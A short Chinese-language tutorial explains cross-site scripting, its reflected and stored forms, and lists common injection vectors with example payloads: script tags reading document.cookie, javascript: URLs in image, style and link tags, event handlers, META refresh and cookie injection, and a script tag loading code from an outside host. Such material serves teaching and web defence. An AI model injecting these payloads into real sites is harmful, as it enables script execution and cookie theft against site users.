什么是XSS?
XSS(Cross Site Scripting),即跨站脚本攻击,是一种常见于web application中的计算机安全漏洞。XSS通过在用户端注入恶意的可运行脚本,若服务器端对用户输入不进行处理,直接将用户输入输出到浏览器,则浏览器将会执行用户注入的脚本。
XSS的分类
根据XSS造成的影响,可以将XSS分为非持久型和持久型。
1. 非持久型,也叫反射型XSS。通过GET和 POST方法,向服务器端输入数据。用户输入的数据通常被放置在URL的query string中,或者是form 数据中。如果服务器端对输入的数据不进行过滤,验证或编码,就直接将用户输入的信息直接呈现给客户,则可能会造成反射型XSS。反射型XSS是比较普遍的 XSS,其危害程度通常被认为较小。但是某些反射型XSS造成的后果会很严重,如在输入框的name中输入<meta http-equiv="refresh" content="5"
/>,服务器不加处理,将name的值直接送到浏览器,则浏览器会每5秒自动刷新一次。严重者会导致服务器崩溃。
2. 持久型,也叫存储型XSS。通常是因为服务器端将用户输入的恶意脚本没有通过验证就直接存储在数据库,并且每次通过调用数据库的方式,将数据呈现在浏览器上。则该 XSS跨站脚本攻击将一直存在。若其他用户访问该页面,则恶意脚本就会被触发,用于盗取其他用户的私人信息。
常用XSS方式分为以下几种:
1. 输入框中直接输入恶意脚本,如:
><script>alert(document.cookie)</script>
2. 输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css style等。
<IMG SRC="javascript:alert(‘XSS‘);">;
<BODY BACKGROUND="javascript:alert(‘XSS‘)">
<STYLE>li {list-style-image:url("javascript:alert(‘XSS‘)");}</STYLE><UL><LI>XSS</br>
3. 将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。
<a onmouseover="alert(document.cookie)">xxslink</a>
4. 在remote style sheet,javascript中,如
<LINK REL="stylesheet"HREF="javascript:alert(‘XSS‘);">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
5. META 标签,如
<meta http-equiv="refresh"content="5" />
<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert(‘XSS‘)</SCRIPT>">